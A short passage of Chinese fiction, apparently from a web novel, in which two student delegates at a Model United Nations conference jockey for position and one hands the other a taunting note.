顾梓聿也知道,若是继续在制度这个问题上纠缠,珀国本就占不到理,只会节节败退;不如就釜底抽薪,直击对方的痛点——你不是要干涉我国的内政吗?可以啊,先拿钱来。 林亦凡眼角抽动了一下。 这个人,没那么容易压下去。 顾梓聿防住了第一击,但这不算什么,看来,有必要让小学弟知道,一个“不会玩场面”的技术型代表,赢了一场发言,不代表就能赢下整场会议。 今天是代表们交换立场、组建国家集团的关键节点,他不准备让顾梓聿有第二次组织 bloc 的机会,他要让顾梓聿尝尝,什么叫“孤立无援”。 “表现不错,明天见。”会议结束后,林亦凡走到顾梓聿身边,把那张意向条还给他。 顾梓聿展开一看,林亦凡用墨蓝色的水笔在下面加了一行酣畅淋漓的字:“最佳代表团,不缺你一个。”